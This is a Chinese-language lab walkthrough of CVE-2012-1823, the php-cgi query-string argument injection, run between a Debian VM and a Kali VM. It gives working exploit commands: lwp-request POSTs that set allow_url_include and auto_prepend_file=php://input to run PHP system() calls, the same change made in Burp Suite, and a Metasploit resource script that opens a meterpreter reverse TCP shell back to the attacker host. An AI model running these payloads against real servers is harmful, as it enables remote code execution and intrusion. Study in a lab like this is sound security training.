CVE-2012-1823

php-cgi 无法正确处理缺少 = 符号的查询字符串(URL),允许攻击者通过将恶意代码嵌入查询字符串中来修改 PHP 配置,并执行任意代码。

环境配置

虚拟机1

  • Debian x64
  • NAT Network

虚拟机2

  • Kali Linux
  • NAT Network

虚拟机2的 hosts 文件添加以下内容

1
虚拟机1的ip地址   vulnerable

漏洞说明

URI 被传递到 php-cgi 二进制文件,未进行充分过滤或编码,从而使攻击者可以将额外的参数传递给 php-cgi 命令行

查看 php-cgi 的帮助信息,这里的 -s 参数可以用于显示脚本的源代码,可以通过在 URL 中添加 ?-s 来检索应用程序的源代码

  • 检索源代码
  • 检索数据库认证凭据
  • 检索加密密钥或任何密码

除了打印输出,该漏洞也可以用于执行代码,执行代码需要将代码传入服务器并让服务器进行解析

php-cgi 的 -d 参数可以通过修改 INI 条目以修改 PHP 运行时配置,实验中使用了 2 个条目:

  • auto_prepend_file :指定在主文件前解析的文件,就像使用 require 函数进行文件包含,使用了 include_path
  • allow_url_include :允许从 URL 中包含文件并解析

为了使用 php://input 将代码嵌入请求中,必须开启 allow_url_include

漏洞利用

输出网页源码

lwp-request

Kali Linux 自带工具 lwp-request ,可用于直接执行 GET/POST 发送 HTTP 请求

使用 lwp-request 发送 POST 请求,开启 allow_url_include 并使用 auto_prepend_file 指定从 php://input 读取内容,将代码嵌入到 URL 中

  • die() 用于显示结果并防止其他代码或输出的显示
1
2
3
4
echo "<?php system('uname -a');die(); ?>" | POST "http://vulnerable/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"

# HTTP 代理,经过 Burp Suite
echo "<?php system('uname -a');die(); ?>" | POST -p http://127.0.0.1:8080 "http://vulnerable/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"

Burp Suite

使用 Burp Suite 抓包,访问 http://vulnerable/ 获得 Get 请求数据,将其改为 POST 请求

  • GET –> POST
  • / –> /?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input
  • –> <?php system('uname -a');die(); ?>

Metasploit

打开 Metasploit 的交互终端,设置需要利用的漏洞并攻击远程主机,因为没有虚拟主机且服务运行在 80 端口,所以不需要设置参数 VHOSTRPORT

  • 支持 tab 补全
1
2
3
4
5
6
7
8
9
10
11
# 设置需要利用的漏洞
use exploit/multi/http/php_cgi_arg_injection

# 攻击远程主机
set RHOST vulnerable

# 设置攻击载荷
set PAYLOAD php/meterpreter/reverse_tcp

# 设置回连地址(本机)
set LHOST 10.0.2.6

所有的配置如下

漏洞利用,生成反向 TCP 连接,进一步使用反向 Shell

创建 php-cgi.msf 文件内容如下,使用 msfconsole -r php-cgi.msf 执行自动化漏洞利用

1
2
3
4
5
6
use exploit/multi/http/php_cgi_arg_injection
set RHOST vulnerable
set RPORT 80
set PAYLOAD php/meterpreter/reverse_tcp
set LHOST 10.0.2.6
exploit

参阅